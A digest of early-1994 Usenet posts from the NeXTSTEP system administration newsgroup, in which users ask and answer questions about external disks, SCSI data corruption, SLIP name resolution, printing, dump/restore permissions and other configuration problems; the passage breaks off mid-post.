I have an external disk on a next black. I have had it over a year and thought
it was configured properly (eg. as spelled out in the system administration
handbook) things were working fine until recently. Each morning when I come in
and log in, I get the Disk External Damaged repair? question. I always say yes
and things seem to be as normal (except Workspace does not display a disk icon
for the disk only a folder icon).
What does it mean the disk is damaged? What does repair do? Why is it damaged?
Thanks.
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Louis Everett
lje0106@sigma.tamu.edu
NeXT mail welcome
Newsgroups: comp.sys.next.sysadmin
From: herbst@cbnewsj.cb.att.com (robert.s.herbst)
Subject: Sharing a Printer (QMS) NS3.2/FIP
Organization: AT&T
Date: Thu, 6 Jan 1994 14:40:16 GMT
Message-ID: <CJ7q3A.DwI@cbnewsj.cb.att.com>
Keywords: printer sharing network howto
This may seem trivial to all you long-time NeXT hackers, but I tried and
can't seem to get a printer to show up on the other two Intel boxes
running NS 3.2/FIP.. It does configure on the machine it is connected
to.
I am sure I am missing something simple, but I would appreciate any help
I can get.
PLease reply by e-mail.
Thanks in advance,
Bob
--
==============================================================
Bob Herbst Tel: (908)957-6507
AT&T Bell Labs E-mail: bobh@mtketc1.att.com
Middletown, NJ
Newsgroups: comp.sys.next.sysadmin
From: skochhar@cvbnet.cv.com (Sandeep Kochhar x4618 5-2)
Subject: Another Webster Qs
Message-ID: <CJ7oJL.Irz@cvbnet.CV.COM>
Sender: usenet@cvbnet.CV.COM (News Account )
Organization: Computervision
References: <2gckdl$stf@news.cs.tu-berlin.de>
Distribution: usa
Date: Thu, 6 Jan 1994 14:06:57 GMT
A while back, I used to run a program called "webster"
on Suns. This was the webster dictionary, plus it
allowed search patterns to be specified using "*" and "?", e.g.
"rene*g*" would produce a choice of words like
1. renegade 2. renegado 3. renege
4. renegotiable 5. renegotiate
Can the NeXT Webster dictionary do stuff like that? I haven't
been able to figure it out...
Pl reply via email.
Thanks.
--
Sandeep Kochhar
Computervision, MS 5-2 email: skochhar@cvbnet.cv.com
14 Crosby Drive tel: (617) 275-1800 x 4618
Bedford, MA 01730-1486 fax: (617) 275-8506
From: kay@nagasena.muc.de (Kay Schulz)
Newsgroups: comp.sys.next.sysadmin
Subject: WANGTEK 6200HS under NSI
Date: 6 Jan 1994 09:18:18 +0100
Organization: Firestone Chaotic Group
Message-ID: <2gghga$9a@nagasena.muc.de>
Hi
does the Wangtek 6200HS works with NSI 3.2?
Any experiences?
--
Kay Schulz 08142/58727
kay@nagasena.muc.de
NeXTmail accepted
From: ti6hk@trick.ti6.tu-harburg.de (Henry Koplien)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Another Webster Qs
Date: 6 Jan 1994 15:57:14 GMT
Organization: University of Hamburg -- Germany
Distribution: usa
Message-ID: <2ghccq$41a@rzsun02.rrz.uni-hamburg.de>
References: <CJ7oJL.Irz@cvbnet.CV.COM>
In article <CJ7oJL.Irz@cvbnet.CV.COM> skochhar@cvbnet.cv.com (Sandeep
Kochhar x4618 5-2) writes:
|> A while back, I used to run a program called "webster"
|> on Suns. This was the webster dictionary, plus it
|> allowed search patterns to be specified using "*" and "?", e.g.
|> "rene*g*" would produce a choice of words like
|> 1. renegade 2. renegado 3. renege
|> 4. renegotiable 5. renegotiate
No!
Henry
From: mbecker@cs.uml.edu (Mark E. Becker)
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Help.. Very weird SCSI problem [ NS 2.1, 030 mono cube ]
Followup-To: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
Date: 6 Jan 1994 17:05:29 GMT
Organization: Approaching zero with this problem.
Distribution: world
Message-ID: <2ghgcp$ept@ulowell.uml.edu>
Summary: Data read from drive is off by one???
Keywords: SCSI hardware NextSTEP 2.1
Hello -
Pardon the wide cross-posting.. but this problem crosses so many
boundaries that I'm looking for help from everywhere.
Equipment: '030 cube, NS 2.1, 8M, 345M internal hard drive, 155M
external, single OD.
Problem: Last night I'm transferring files from a PC to the NeXT via
ethernet. After moving about 5 megabytes, I find (the hard way) what
seems to be an off-by-one problem somewhere on the NeXT end of the
wire.
For random places ONLY in the external drive, if a block of data is
written out and then read back, the block just read has a byte
inserted randomly inside it. The number of bytes returned is
correct.. just everything is shifted down by one.
Fortunately there wasn't much stored on the external drive; I was able
to clean it off to OD. The internal drive is 100%; data written to it
is returned clean.
This is one of the weirdest problems I've ever seen. What blows my
mind is that the inserted byte doesn't generate an error message.
What can I do about this?
1. I've already had to change the formatting from 512 to 1024
bytes/sector. There weren't any reported errors then.. but then
again, the formatter didn't go back and verify the media.
2. There were no problems in initializing the drive. But I don't
think the supplied NeXT software does anything relative to a
surface scan. Is there anything for finding and marking bad blocks
under NS 2.1 ?
3. While spelunking the on-line help and various directories (/etc,
/usr/etc..), I didn't find anything resembling a badblocks program.
Does one exist?
A long time ago I wrote a formatter for a SASI drive running against a
CP/M system. One of the SASI commands was to verify the media.. which
consisted of reading every block on the drive and returning an error
status. While I could probably re-write that ancient chunk of code to
run under NS 2.1, does something similiar already exist?
Regards,
Mark
+----------------------------------------+--------------------------+
| Mark Becker <mbecker@cs.uml.edu> | #include <std.disclaimer>|
+----------------------------------------+--------------------------+
From: flessel@piastre.unice.fr (Flesselles J.M.)
Newsgroups: comp.sys.next.sysadmin
Subject: rpc.pcnfsd version 2
Date: 6 Jan 1994 17:19:00 GMT
Organization: University of Nice Sophia-Antipolis
Message-ID: <2ghh64$lk@taloa.unice.fr>
Keywords: pcnfs
Does anyone know where I could find rpc.pcnfsd version 2 that would work
under NextStep v3.2 ?
Thanks
Jean-Marc
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Jean-Marc Flesselles e-mail: flessel@doublon.unice.fr
Institut Non-Lineaire de Nice NeXTmail ok
1361, route des Lucioles tel: +33 92 96 73 46
Sophia-Antipolis fax: +33 93 65 25 17
F-06560 Valbonne, France
"Longtemps, je me suis couche de bonne heure." Marcel Proust
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From: root@magnusson.alpine.com (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Apps hang during SLIP connection
Date: 6 Jan 1994 16:58:42 GMT
Organization: University Of Utah
Message-ID: <2ghg02$im0@fcom.cc.utah.edu>
References: <1994Jan3.033201.8408@kakwa.ucs.ualberta.ca>
There have been so many small obstacles to success with SLIP that it's
hard to say exactly which ones were causing this problem.
I have found several bugs in both my SLIP provider's configuration and in
my own. They have been:
1) the cisco term server which
a) thought there were too many 198.60.29.2s logged in and would
prevent packets from going in or out.
This problem is apparently a known cisco bug.
b) would suffer from poor performance and cause lookups to take
twenty times their normal amount of time.
This was solved with an upgraded board that improved performance
dramatically.
2) comment lines in my resolv.conf
a) caused name resolution to fail nine times out of ten
This was solved by having the sys admin from the U. telnet into my
machine and look at resolv.conf and say, "Hey, take the comments
out of resolv.conf."
Thanks to James S. MacKinnon
Bill Chin
Robert Roll
Don Yachtman
Louis Mamakos (CSLIP works nice!)
for their inestimable help in debugging.
\kris
From: koehrsen@ie.engr.wisc.edu (Mike Koehrsen)
Newsgroups: comp.sys.next.sysadmin
Subject: slip/name server problem
Date: 6 Jan 1994 17:11:41 GMT
Organization: Division of Information Technology
Message-ID: <2ghgod$45a@news.doit.wisc.edu>
I've got my slip configuration to the point where I can telnet, ftp, etc.
by IP address. but I'm having some trouble getting name resolution to work.
Whenever I try to telnet by name, this error message appears in my console
after about 15 seconds:
Jan 6 10:56:54 localhost lookupd[68]: netinfo sleeping: RPC: Timed out
After this happens, certain things hang--Edit hangs at launch (although some
apps launch without any problem), if I try to open a new window in Terminal, it
hangs. The telnet (ftp, whatever) program that caused the problem hangs, of
course.
The same thing happens when I try to su while the slip connection is up (if
the connection is down, no problem).
It seems to me that the most likely source of the problem is that lookupd can't
get to either of the nameservers I have set up in /etc/resolv.conf, although
I have it on good authority that these addresses are correct.
Thanks in advance for any suggestions.
Michael Koehrsen
koehrsen@whitewater.chem.wisc.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: woo@ra-next.arc.nasa.gov (Alex Woo x6010 227-6 rm 315)
Subject: cursor size under NeXTSTep
Message-ID: <1994Jan6.172341.27028@news.arc.nasa.gov>
Sender: usenet@news.arc.nasa.gov
Organization: NASA Ames Research Center, Moffett Field, CA
Date: Thu, 6 Jan 1994 17:23:41 GMT
Is there anyway to increase the visibility of the default cursor
in NeXTStep? It is difficult to find with a glarescreen.
--
==============================================================
Alex Woo, MS 227-6 woo@ames.arc.nasa.gov
NASA Ames Research Center NASAMAIL ACWOO
Moffett Field, CA 94035-1000 SPANET 24582::WOO
(415) 604-6010 (FAX) 604-4357 {hplabs,decwrl,uunet}!ames!woo
Disclaimer: These are not official statements of NASA or EMCC.
From: jmm@css.itd.umich.edu (Jeffrey K. MacKie-Mason)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing from Black through a Netware Lite network
Date: 6 Jan 1994 17:36:08 GMT
Organization: /usr/local/lib/news/organization
Distribution: world
Message-ID: <2ghi68$qbs@controversy.math.lsa.umich.edu>
I have just arrived at a new worksite with my black NeXT. The local group
runs Netware Lite to network a group of PCs, and print spooling to the network
printers is handled through the NL spooling system.
Does anyone know if there is some reasonable way in which I can get my NeXT to
print to one of the network printers in this situation?
thanks,
jm2
From: gopher2@bcarh530.bnr.ca (Avril Morris)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: cursor size under NeXTSTep
Date: 6 Jan 1994 18:29:57 GMT
Organization: Bell-Northern Research, Ottawa, Canada
Sender: gopher2@bcarh530 (Avril Morris)
Distribution: world
Message-ID: <2ghlb5$bt@bmerha64.bnr.ca>
References: <1994Jan6.172341.27028@news.arc.nasa.gov>
In article <1994Jan6.172341.27028@news.arc.nasa.gov>, woo@ra-next.arc.nasa.gov (Alex Woo x6010 227-6 rm 315) writes:
|> Is there anyway to increase the visibility of the default cursor
|> in NeXTStep? It is difficult to find with a glarescreen.
The easiest way to locate a 'missing' cursor is to set the preferences to
bring up the menu when you select the right mouse button. That way, just
click the right button to find your cursor. Actually, unless something
has changed in 3.2, this is the only way. (I tried to get a larger cursor
scheme to work way back in the 3.0 days :-)
--
Rob Parkhill || No email right now. Really. || What? Me speak for
BNR Canada || Don't even try to send email to || BNR? I don't get paid
(613) 763 8146 || gopher2, 'cause it will bounce. || enough to do that!
From: fulei@engin.umich.edu (Fu Lei )
Newsgroups: comp.sys.next.sysadmin
Subject: Starting Backspace
Date: 6 Jan 1994 19:04:49 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: world
Message-ID: <2ghnchINNcac@srvr1.engin.umich.edu>
Remember someone on the net mentioned about how to use dwrite
to start an application such as BackSpace upon loggin without
having to put BackSpace in the dock. Could someone please
email me the information on that. Thanks.
fulei@engin.umich.edu
From: jeanpaul@blade.stack.urc.tue.nl (Jean-Paul Smeets)
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Help.. Very weird SCSI problem [ NS 2.1, 030 mono cube ]
Date: 6 Jan 1994 20:18:05 GMT
Organization: MCGV Stack, Eindhoven University of Technology, the Netherlands.
Message-ID: <2ghrlt$ji@tuegate.tue.nl>
References: <2ghgcp$ept@ulowell.uml.edu>
Keywords: SCSI hardware NextSTEP 2.1
In article <2ghgcp$ept@ulowell.uml.edu>,
Mark E. Becker <mbecker@cs.uml.edu> wrote:
>For random places ONLY in the external drive, if a block of data is
>written out and then read back, the block just read has a byte
>inserted randomly inside it. The number of bytes returned is
>correct.. just everything is shifted down by one.
>
Is the drive by any chance a HP drive ?
I have had a similar problem with a HP disk drive under OS/2 and
was also puzzled by it. The cause of this was a bug in the HP firmware
when disconnect/reconnect was used. In this case the number of bytes
read was also correct but at random 512 byte boundaries errors occurred.
The error was always that one byte of data was replaced with 0x80 bytes of
random data, mostly 0xFF.
The solution was to disable disconnect/reconnect in the device driver. Since
then everything works perfectly, but somewhat slower.
Jean-Paul Smeets
Email: jeanpaul@stack.urc.tue.nl
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Installing hard drive question--
Message-ID: <1994Jan6.204347.10453@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Zymurgy, UW
Date: Thu, 6 Jan 94 20:43:47 GMT
Hi netters:
I went out and picked up a new hard disk for my NSFIP machine yesterday;
supposedly a 245mb disk (a maxtor 7245A drive). I plugged it in all
correctly, and booted up. After configuring the CMOS with all the
proper numbers, nextstep boots up and tells me that the hard drive
is "damaged", so i initialize it.
problem:
It only gives me ~210mb free (i forget exactly how much, but it's nowhere
near 245)! The only files on it are the lost&found and the .hidden.
Fdisk tells me that the drive is only something like 213 mb; does this
mean that it will format only in DOS to 245mb?
any advice?
danke
dan
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Can you "merge" 2 physical hard disks?
Message-ID: <1994Jan6.205103.10797@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Thu, 6 Jan 94 20:51:03 GMT
I've now got 2 hard drives in my white system, and i thought it'd be
neat if i could have the two drives both be the root drive, so i didn't
have to deal with the seam between the root & an "external" drive.
Is this possible? Would I have disk space equal to the sum of the space
on both drives?
thanks
dan
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Sendmail configuration and installation guide?
Date: 6 Jan 1994 19:00:44 -0000
Organization: me organized? That's a joke!
Message-ID: <2ghn4s$25r@steffi.demon.co.uk>
A while back I got this documentation from sutro.sfsu.edu in both txt
and postscript forms.
Would somebody kinda point me to this again?
I'll look on uiuc but I don't think it will be there.
BTW: Does NeXT's sendmail (NS3.1) support the F=m flag? I've heard
that some older sendmails don't support this flag. Anybody know if
more recent sendmails support this?
--
"Buzzword Development" the new way for the 90's.
Promising to deliver but not delivering what you promised.
From: rjg@chemistry.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: SCSI
Date: 6 Jan 1994 22:08:23 GMT
Organization: Stanford University, CA 94305, USA
Distribution: usa
Message-ID: <2gi24n$7h8@nntp2.Stanford.EDU>
Replies-To: rjg@chemistry.Stanford.EDU
Originator: rjg@chemistry.Stanford.EDU
Originator: rjg@leland.Stanford.EDU
A friend of mine can't mount his SCSI disk on a next machine. On a
DECstation there is a command test -c that you type before boot-up
to see if the machine knows about all its SCSI devices. Is there
a similar command on a next machine?
Please respond via e-mail (rjg@chemistry.Stanford.EDU).
Thanks,
Rich
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Help needed compiling non-next C code.
Date: 7 Jan 1994 00:29:17 +0100
Organization: University of Bergen
Message-ID: <2gi6sd$k71@alf.uib.no>
Hi.
I have a program (LifeLines, a genealogy program) for unix written
in "generic" ANSI C. Well, almost. I'm getting some compiler
warnings and errors I don't know enough about to fix, but I'm
told the fix is actually simple. Anyone here have time to look
over a few lines with me? Details follow, otherwise hit 'k'...
The first deals with an included header that doesn't work:
<varargs.h>
The advice I got was:
Ah, varargs. Well, there's two ways of handling routines with a
variable number of arguments, the old way and the new way. Since I use an
old compiler I do it the old way. Your system wants it done the new way.
Do you have any C programmers around you can talk to? There is only one or
two routines in screen.c that have a variable number of arguments, and
someone who knows ANSI C could change them for you. I think the new way
uses the header file <stdarg.h>, but I have never used it. Look up
variable arguments in your C developers reference material. Sorry I could
not be of more immediate help. If you remain stuck let me know, and I'll
see if I can find an ANSI C compiler somewhere to work out the problem.
The other is also a header file, called:
<unistd.h>
I don't have it, nor do I know what it does. I was sent a copy from
a SysV Rel 3 machine, but haven't tried it yet, I'm not sure if its
harmless to mix and match such things (hey, I'm no programmer, I
have my hands full with the drum machine ;-)
E-mail suggestions would be appreciated.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: mskucher@nic.hookup.net (Murray S. Kucherawy)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Re: Sendmail configuration and installation guide?
Date: 6 Jan 1994 19:38:16 -0500
Organization: HookUp Communication Corporation, Waterloo, Ontario, CANADA
Message-ID: <2giato$1gd@nic.hookup.net>
References: <2ghn4s$25r@steffi.demon.co.uk>
In article <2ghn4s$25r@steffi.demon.co.uk>,
Robert Nicholson <robert@steffi.demon.co.uk> wrote:
>A while back I got this documentation from sutro.sfsu.edu in both txt
>and postscript forms.
>
>Would somebody kinda point me to this again?
It's part of the v8 distribution at ftp.cs.berkeley.edu. Maybe
someone else can suggest where the v5 version is.
--
Murray S. Kucherawy ==========================================================
Software Support, Network Operations Centre E-mail: mskucher@nic.hookup.net
HookUp Communication Corp. - Waterloo, Ontario, CANADA NIC Handle "MSK"
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: Apple CDROM 300, how?
Message-ID: <CJ8IBv.HrJ@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Fri, 7 Jan 1994 00:46:37 GMT
Is there any trick to installing an Apple CD-ROM 300 on a NeXT
Turbo Color for the first time??
---
--------------------------------------------------------------------
James P. Klett klett@sunrayce.solar.umn.edu
jimbo@oingo.umn.edu (SLIP)
--------------------------------------------------------------------
Slip Slipping' away... NeXT Mail Preferred
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Newsgroups: comp.sys.next.sysadmin
From: mpragnel@news.weeg.uiowa.edu (marlon pragnell)
Subject: FORSALE: SCSI 2 to 1 adapter cable
Message-ID: <1994Jan7.005155.25816@news.weeg.uiowa.edu>
Organization: University of Iowa, Iowa City, IA, USA
Date: Fri, 7 Jan 1994 00:51:55 GMT
SCSI 2 to 1 adapter cable for sale for $50 each. ( $80 a new one cost in a store)
Newsgroups: comp.sys.next.sysadmin
From: kdburg@incoahe.uucp (Klaus Dahlenburg)
Subject: Missing suid/sgid settings after dump/restore (NS 3.2)
Message-ID: <CJ8B13.2ws@incoahe.uucp>
Summary: dump/restore on nextstep 3.2 does not preserve setuid/setgid
Keywords: dump restore NextStep_3.2 permissions suid sgid
Date: Thu, 6 Jan 1994 22:12:38 GMT
Happy 1994,
but I'm feeling not so happy at the moment. The problem I did encounter
is as follows:
I've installed NeXTstep3.2 (68040 based) from scratch including the
developer package. After doing some test I did a full dump of the disk
and restored it to my second disk which is partioned. A boot from that
disk worked fine but I could not do a login to other than root. I found
that WM was not running setuid/setgid, after correcting that I could
login but other strange things happened: no ps, su, setclock etc.
Digging into it I found that except for the WM no program whatsoever
has the necessary setuid/setgid setting. I carried out some tests
as follows (all tests as root):
I put an executable on a separate disk with setuid/setgid set
dumped this to a tape: dump 0funs /dev/rxt0 60000 /dev/rsd1a
cleared the disk
restored from tape: cd /adisk;restore -r
and --- the setuid/setgid where gone
using dump.old/restore.old did show the same results.
Did anyone encounter the same problems or did I miss something
(RTFM on page ....).
Any help to defuse the time-bomb is greatly appreciated
Klaus
(kdburg@incoahe.hanse.de)
++EOM++
--
Newsgroups: comp.sys.next.sysadmin
From: shergot5@mach1.wlu.ca (scott hergott)
Subject: Re: NS/Intel can't book after disk crash
References: <2gf96j$gid@msuinfo.cl.msu.edu>
Message-ID: <CJ8MnA.6rx@mach1.wlu.ca>
Organization: Wilfrid Laurier University
Date: Fri, 7 Jan 1994 02:23:33 GMT
:
: Anyone else enjoy talking to NeXT support?
I've had great luck with Tech Support, I always get dealt with in minimal
time. Usually about 5 Minutes. As opposed to Adaptec whom I had to wait 30
minutes for. (Oh well, I called from Canada on their 800 number, they paid
for it, not I :) )
They do often try to send me back to the hardware company (eg. Adaptec) and
say that it must be their fault. Still, they have NEVER asked for money nor
my registration number.
Later,
Scott Hergott
*****************************************************************************
This Space for Rent! ..... Enquire at shergot5@mach1.wlu.ca
*****************************************************************************
From: tilley@cc.umanitoba.ca ()
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP| Serious Netinfo Problem|
Date: 7 Jan 1994 03:30:00 GMT
Organization: The University of Manitoba
Message-ID: <2gikvo$t7p@canopus.cc.umanitoba.ca>
References: <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
In <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT> A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT (Konrad Neuwirth) writes:
>a wrong machine into the / / master field. That means that I now cannot
>change my NetInfo's root domain information (which I need to, as I have
You could probably change /etc/hostconfig also to the wrong machine,
unplug the ethernet, reboot, change both netinfo and hostconfig to
the correct machine, reconnect the ethernet and reboot.
--
.. Richard <tilley@cc.umanitoba.ca> NextMail OK.
From: Dan_Menchaca*@quickmail.apple.com (Dan Menchaca)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installing hard drive question--
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Date: 7 Jan 1994 06:40:21 GMT
Organization: Apple
Message-ID: <Dan_Menchaca*-060194223941@mac10.kip.apple.com>
References: <1994Jan6.204347.10453@beaver.cs.washington.edu>
In article <1994Jan6.204347.10453@beaver.cs.washington.edu>,
fineman@cs.washington.edu (Lucifer Sam) wrote:
> Hi netters:
>
> I went out and picked up a new hard disk for my NSFIP machine yesterday;
> supposedly a 245mb disk (a maxtor 7245A drive). I plugged it in all
> correctly, and booted up. After configuring the CMOS with all the
> proper numbers, nextstep boots up and tells me that the hard drive
> is "damaged", so i initialize it.
>
> problem:
>
> It only gives me ~210mb free (i forget exactly how much, but it's nowhere
> near 245)! The only files on it are the lost&found and the .hidden.
> Fdisk tells me that the drive is only something like 213 mb; does this
> mean that it will format only in DOS to 245mb?
>
> any advice?
>
> danke
> dan
Your drive is a 245meg drive with a formatted capacity of 213 megs. Make
sure when you purchase a drive, ask for the actual formated capacity.
Also, I think it's a good idea to adopt SCSI drives to get greater
flexability. One card I have tried is the IN-2000 from Always Technology.
It's one of the few cards I plugged in and had it actually work. Bug Logic
also makes good cards.ÊÊThey now have a PCI card now.
From: jabr@bcs.org (John Abreau)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: accessing man pages in /usr/local/man/man1
Date: 4 Jan 1994 19:35:41 -0500
Organization: The Boston Computer Society
Message-ID: <2gd20t$8p3@bcs.org>
References: <CJ1IAE.2Gw@number_one.apana.org.au>
In article <CJ1IAE.2Gw@number_one.apana.org.au>
nicolev@number_one.apana.org.au writes:
> I've installed the tcsh shell which came with its respective "man" pages
> and I put them into the /usr/local/man/man1 directory.
>
> Could someone please enlighten me on how to access these man pages using
> the man command as at the moment I just get the message:
In your .login or .cshrc, add the line
setenv MANPATH /usr/man:/usr/local/man
By default, if this is not defined, the system only looks under /usr/man.
--
John Abreau <jabr@bcs.org>
Director, BCS Internet Task Force
Newsgroups: comp.sys.next.sysadmin
From: bchin@nextsrv1.andi.org (Bill Chin)
Subject: Re: rpc.pcnfsd version 2
Message-ID: <CJ8Dzp.5np@nextsrv1.andi.org>
Keywords: pcnfs
Organization: Association of NeXTSTEP Developers International
References: <2ghh64$lk@taloa.unice.fr>
Date: Thu, 6 Jan 1994 23:16:37 GMT
In article <2ghh64$lk@taloa.unice.fr> flessel@piastre.unice.fr (Flesselles J.M.) writes:
>Does anyone know where I could find rpc.pcnfsd version 2 that would work
>under NextStep v3.2 ?
>
Actually, there is one in the standard release in /usr/etc. I used it
for a while (for a couple of PC's running Sun's PC-NFS) on a turbo
color. I wasn't sure of the defaults that were compiled in, so
I compiled my own version from the Sun source given in the PC-NFS
package. I'm not sure if the one in NEXTSTEP has NetInfo lookup
capabilities for printcap info - I just dumped stuff into /etc/printcap
and defined a NEXTSTEP entry in the pcnfsd configuration. It wasn't
hard at all. I'm not sure of the legality of distributing it though.
Give me a ring if you need some help.
..Bill Chin
--
Bill Chin - bchin@nextsrv1.andi.org - NeXTmail welcomed
From: mycroft@colourbox.utexas.edu (Alex Currier)
Newsgroups: comp.sys.next.sysadmin
Subject: Macintosh <--> NeXT questions
Date: 7 Jan 1994 10:11:05 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2gjcfp$sma@geraldo.cc.utexas.edu>
Hello.
I have a NeXTcube with which I connect to the internet through my university
using TranSys DialupIP SLIP software. Soon I will be buying a Macintosh with
ethernet connector and I am wondering if (and how) I can connect my Mac to the
NeXT via ethernet and have the NeXT provide internet access to the Mac. Once I
have the two connected in the regular fashion will the Mac be able to "see"
over the SLIP link automatically or is there something else I will have to do?
While I'm here, I would like some suggestions regarding software which will
let my NeXT act as a file server to the Macintosh (creating an area of
Macintosh File System on the NeXT HD).
Thank you.
--
==============================================================================
Alex Currier * mycroft@ccwf.cc.utexas.edu * NeXTmail capable.
Time is just one damn thing after another.
==============================================================================
From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT Printer cable
Date: 7 Jan 1994 11:54:28 GMT
Organization: Computer Science Dep. - Milan University
Distribution: world
Message-ID: <2gjihk$dru@ghost.sm.dsi.unimi.it>
Hi everybody,
Does anyone know the configuration of the cable used to connect the
NeXTprinter to a cube? Which is the maximum length of the cable?
thank you
Gianfranco
--
Gianfranco Pocecai
President of The Italian NEXTSTEP User Group
University of Milano - Computer Science Department
Via Comelico, 39/41
20135 Milano - Italy
E-mail : gpoc@cube.sm.dsi.unimi.it
From: chris@hifi5
Newsgroups: comp.sys.next.sysadmin
Subject: Weird problem with hostname too long
Date: 07 Jan 94 13:49:09
Organization: Technische Hochschule Darmstadt
Distribution: world
Message-ID: <chris.94Jan713499@hi5.ikp.physik.th-darmstadt.de>
Mime-Version: 1.0
Content-Type: text/plain
Hi!
I just found out that having a hostname which is too long (that is, "hifi5.ikp.physik.th-darmstadt.de"
for example) results in the pasteboard service not working anymore {console: Appkit Mach messaging
error #-102 in (null pointer)}. Reducing the above hostname by one character removes the problem. This is repeatable (And the reason for my node name changing from "hifi5" to "hi5").
I don't see any obvious reason for the hostname length influencing mach messaging, and therefore no
other remedy other than to shorten the hostname. It still leaves me curious, though, so I was wondering
wether anyone has any ideas?!
Thanks,
Chris
From: thome@muadip.cs.tu-berlin.de (Stefan Thome)
Newsgroups: comp.sys.next.sysadmin
Subject: No pCD with Toshiba CDROM
Date: 7 Jan 1994 14:29:44 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2gjrko$618@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: Toshiba CDROM PhotoCD
Hi,
as I read on the net, there are some owners of Toshiba CDROM drives. Since
it is the only drive which one can read audio cds on black hardware, I
thought it might be wise to get one of those.
Now I realize that I can't read PhotoCDs. The PhotoCD gets ejected after I
insert it.
With NS3.0 the console just says "Disk is Write Protected". No error
message. With NS3.2 it adds "probing for CDROM,DOS,mac,cdaudio" but still
ejects then.
I cannot believe that all Toshiba owners accept that without complaining
on the net? Is there something I missed?
I tried pCD, but it expects that the PhotoCD has been mounted at root ?
Who would be responsible for mounting? CDROM.util? Or is there some
PhotoCD.util I miss?
Help!
Thanks, Stefan
---
__________________________________________________________ _________
Technische Universitaet Berlin (_______ \ __
Stefan Thome, FR 3-2 fax: +49.30.314 25 390 -- / // /
Franklinstr. 28-29 phone: +49.30.314 25 390 / / / // /
D-10587 Berlin e-mail: thome@cs.tu-berlin.de -- \//_/
__________________________________________________________
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: No Recycler
Message-ID: <1994Jan7.150531.7324@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Fri, 7 Jan 1994 15:05:31 GMT
I have the following in my /etc/fstab
/dev/sd0a / 4.3 rw,noquota 0 1
/dev/sd0b /Users 4.3 rw,noquota 0 2
/dev/sd1a /Gopher 4.3 rw,noquota 0 1
Now, everything works fine EXCEPT when I drag an item to the trash on
the /Gopher portion of the file system. Then I get the message,
Folder /Gopher/local/www ... is located on a disk
without recycler.
Continuing will really distroy the files.
Why am I getting this message and how do I fix it so that there is a
recycler on that disk? (I've RTFM with Librarian and tried several
obvious things, but no clues).
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
From: Jim Pierce <jim.pierce@columbiaSC.NCR.COM>
Subject: Re: Help.. Very weird SCSI problem [ NS 2.1, 030 mono cube ]
Message-ID: <CJ9HJz.8D7@ncrcae.ColumbiaSC.NCR.COM>
Followup-To: comp.periphs.scsi,comp.sys.next.sysadmin,comp.sys.next.hardware
Sender: news@ncrcae.ColumbiaSC.NCR.COM (news)
Organization: NCR Columbia
References: <2ghgcp$ept@ulowell.uml.edu>
Date: Fri, 7 Jan 1994 13:31:10 GMT
>In article <2ghgcp$ept@ulowell.uml.edu> Mark E. Becker writes:
>
[stuff deleted]
Mark -
From: charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher
Subject: Help with "undefined symbols"!
Date: Fri, 07 Jan 94 16:35:50 GMT
Organization: EUnet GB
Message-ID: <2gk3kg$qo8@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi -
I'm trying to complie GN-1.19 on a 3.1 NeXT for Intel. After I edit the
config.h and top-level makefile accordingly, and type make, I get the following
error;
Installing gn
(cd gn; make CC="cc" CFLAGS="-I.. -I../gn " LIBS=""
